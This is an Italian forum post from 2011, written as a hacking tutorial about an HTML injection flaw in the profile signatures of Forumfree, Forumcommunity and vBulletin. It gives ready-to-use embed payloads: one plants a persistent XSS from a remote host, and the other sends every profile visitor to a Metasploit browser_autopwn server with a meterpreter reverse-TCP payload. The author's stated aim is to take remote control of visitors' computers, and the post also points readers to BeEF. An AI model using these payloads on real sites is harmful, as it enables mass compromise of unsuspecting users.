Forumfree, Forumcommunity e Vbulletin BUG

Bl4k3

Guest
Logged

June 07, 2011, 01:16:43 AM Last Edit: February 03, 2012, 09:05:44 PM by raffaele

Forumfree & Forumcommunity HTML CODE INJECTION

0x0 Html Code Injection
0x1 Permanent XSS in Forumcommunity & Forumfree
0x2 Sfruttare il Code Injection per arrivare ad un browser autopwn
0x3 Altri metodi di Exploitazione

0x0

Navigando per forumfree e forumcommunity mi sono accorto che tra i settings del profilo (piÃ¹ precisamente nella parte FIRMA)
Ã¨ consentito l'utilizzo di <embed allowNetworking="internal" allowScriptAccess="never" src="" height=0 width=1> , che permette
la visualizzazione di immagine e di video all'interno della board. Quindi un attaccher puÃ² tranquillamente caricare del codice
remoto all'interno della board.

0x1

A questo punto proviamo una semplice permanent XSS.
Allora carichiamo un file html contente un semplice <script>alert('_XSS_')</script> in un nostro server. Io ho usato
http://hcevolution.netsons.org/smf/alert.html
Ci rechiamo nel Control Panel --> Edit Signature e immettiamo questo codice all'interno
<embed allowNetworking="internal" allowScriptAccess="never" src="http://hcevolution.netsons.org/smf/ _alert.html" height=0 width=1>
e quando andremo a visitare il nostro profilo ci uscirÃ un bellissimo alert con scritto XSS!
FinchÃ© non toglieremo il codice dalla firma la XSS rimarrÃ permanente.

0x2

Ma di una semplice XSS che c'Ã¨ ne facciamo?..Ben poco direte!
Non Ã¨ meglio un browser autopwn cosÃ¬ che quando una qualsiasi persona visiterÃ il nostro profilo verrÃ infettata ed avremmo il controllo
remoto del suo pc?...CERTO! Cheesy
Quindi apriamo metasploit ed utilizzeremo l'auxiliary [server/browser_autopwn] e come payload [windows/meterpreter/reverse_tcp].*
Una volta compilato andremo a injettare nella firma il seguente codice:
<embed allowNetworking="internal" allowScriptAccess="never" src="http://nostroip:8080" height=0 width=1>.
Fatto ciÃ² quando una qualsiasi persona visiterÃ il nostro profilo si attiverÃ il nostro auxiliary.
Se la vittima naviga con un browser buggato avremo il controllo remoto! Cheesy

0x3

Un altro modo per ricavare una shell remota Ã¨ quello di utilizzare il tool BEEF.
Per chi volesse informazioni riguardanti questo tool puÃ² visitare la pagina http://www.bindshell.net/tools/beef.html.

P.S:Il tutto deve essere fatto da google-chrome , internet exporer!
P.S.S:Versione Testata di Vbulletin 4.0.1

Bl4k3